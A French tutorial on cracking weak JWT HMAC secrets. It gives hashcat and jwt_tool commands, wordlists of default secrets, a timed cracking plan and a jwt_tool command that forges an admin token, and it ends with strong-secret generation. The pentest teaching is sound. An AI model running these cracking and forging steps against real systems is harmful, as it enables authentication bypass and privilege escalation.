✅ Compréhension fondamentale

• Comment fonctionne réellement la signature HMAC (plus de mystère !)
• Pourquoi les secrets faibles compromettent totalement la sécurité JWT
• Méthodologies d'attaque professionnelles et patterns de succès
• Outils standard de l'industrie pour la cryptographie computationnelle

🔍 Compétences d'expert

• Utiliser hashcat comme un consultant en sécurité
• Exploiter SecLists pour des attaques systématiques
• Calculer la faisabilité des attaques et les temps requis
• Implémenter des contre-mesures défensives appropriées

Patterns faibles les plus courants

Secrets par défaut et d'exemple que les développeurs oublient de changer en production

secret
your-256-bit-secret
mysecretkey
jwt_secret
companyname123

Vecteurs d'attaque

Comment les professionnels de la sécurité testent systématiquement les secrets faibles

Attaques par dictionnaire
Wordlists spécifiques à l'entreprise
Tests de défauts de framework
Mutations basées sur des patterns

Impact réel

Conséquences documentées d'évaluations de sécurité réelles

Contournement complet de l'auth
Escalade de privilèges
Compromission d'accès aux données
Détournement de session

Attaque Hashcat étape par étape

# Étape 1 : Sauvegardez le token JWT pour hashcat
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.XbPfbIHMI6arZ3Y922BhjWgQzWXcXNrz0ogtVhfEd2o"
echo "$JWT" > jwt.hash

# Étape 2 : Créez une wordlist avec des secrets communs
echo -e "secret\npassword\nadmin\ntest\n123456\nyour-256-bit-secret" > wordlist.txt

# Étape 3 : Lancez l'attaque
hashcat -m 16500 jwt.hash wordlist.txt --force

# Étape 4 : Vérifiez les résultats
hashcat -m 16500 jwt.hash --show

Cette même méthodologie est utilisée par les pentesters lors des évaluations de sécurité pour identifier les implémentations JWT faibles dans les systèmes en production.

Test rapide de secrets et exploitation

# Testez avec un secret faible spécifique
python3 jwt_tool.py [VOTRE_TOKEN] -C -p "secret"

# Testez avec une wordlist personnalisée
python3 jwt_tool.py [VOTRE_TOKEN] -C -d wordlist.txt

# Une fois le secret trouvé, forgez un nouveau token
python3 jwt_tool.py [TOKEN] -S hs256 -p "secret_trouve" -I -pc role -pv admin

# Exemple de sortie en cas de succès :
# [+] secret is the CORRECT key!
# jwttool_abc123 - Tampered token - HMAC Signing:
# [+] eyJhbGciOiJIUzI1NiIs... (token admin forgé)

Cette capacité d'exploitation immédiate fait de jwt_tool un outil essentiel pour démontrer l'impact réel des secrets JWT faibles.

SecLists essentiels pour les attaques JWT

# Wordlists à fort taux de succès pour des victoires rapides
/usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
/usr/share/seclists/Passwords/Common-Credentials/best1050.txt
/usr/share/seclists/Discovery/Web-Content/common.txt

# Pour des attaques complètes
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

# Exemple d'utilisation avec hashcat
hashcat -m 16500 jwt.hash /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt

Ces wordlists sont le résultat d'années de recherche en sécurité et d'analyse de mots de passe réels, vous donnant les mêmes ressources utilisées par les pentesters professionnels.

# Testez le secret faible le plus courant
TOKEN="votre_token_jwt_ici"
python3 jwt_tool.py $TOKEN -C -p "secret"

# Si succès : [+] secret is the CORRECT key!
# Puis forgez un token admin :
python3 jwt_tool.py $TOKEN -S hs256 -p "secret" -I -pc role -pv admin

# Créez une wordlist avec les défauts de framework
cat > framework_defaults.txt << 'EOF'
secret
your-256-bit-secret
mySecretKey
super-secret
jwt-secret
django-insecure-key
base64:your-base64-encoded-secret-here
EOF

# Testez contre la cible
python3 jwt_tool.py $TOKEN -C -d framework_defaults.txt

# Attaque professionnelle multi-étapes

# Étape 1 : Cibles à haute probabilité (5 min)
hashcat -m 16500 jwt.hash /usr/share/seclists/Passwords/Common-Credentials/best1050.txt

# Étape 2 : Mots de passe communs étendus (15 min)
hashcat -m 16500 jwt.hash /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt

# Étape 3 : Attaque complète avec règles (30 min)
hashcat -m 16500 jwt.hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -r rules/best64.rule

# Étape 4 : Termes spécifiques à l'application (10 min)
hashcat -m 16500 jwt.hash /usr/share/seclists/Discovery/Web-Content/common.txt

Taux de succès élevé

Victoires rapides (moins d'1 heure)

• Secrets de framework par défaut
• Clés d'environnement de développement
• Applications tutoriel/exemple
• Mots de dictionnaire simples

Outils : jwt_tool, mots de passe communs SecLists

Taux de succès moyen

Attaques étendues (1-24 heures)

• Secrets alphanumériques de 8 caractères
• Mots de dictionnaire modifiés
• Patterns spécifiques entreprise/app
• Bases de données de mots de passe fuités

Outils : hashcat avec GPU, fichiers de règles, wordlists personnalisées

Taux de succès faible

Ne vaut pas la peine d'essayer

• Secrets aléatoires de 12+ caractères
• Clés 256-bit correctement générées
• Mots de passe uniques complexes
• Clés générées par HSM

Conseil : Concentrez vos efforts ailleurs

Commandes professionnelles de génération de secrets

# Générez un secret 256-bit cryptographiquement sécurisé
openssl rand -base64 32

# Méthode Python (recommandée)
import secrets, base64
secret = base64.b64encode(secrets.token_bytes(32)).decode()
print(f"JWT_SECRET={secret}")

# Méthode Node.js
const crypto = require('crypto');
const secret = crypto.randomBytes(32).toString('base64');
console.log(`JWT_SECRET=${secret}`);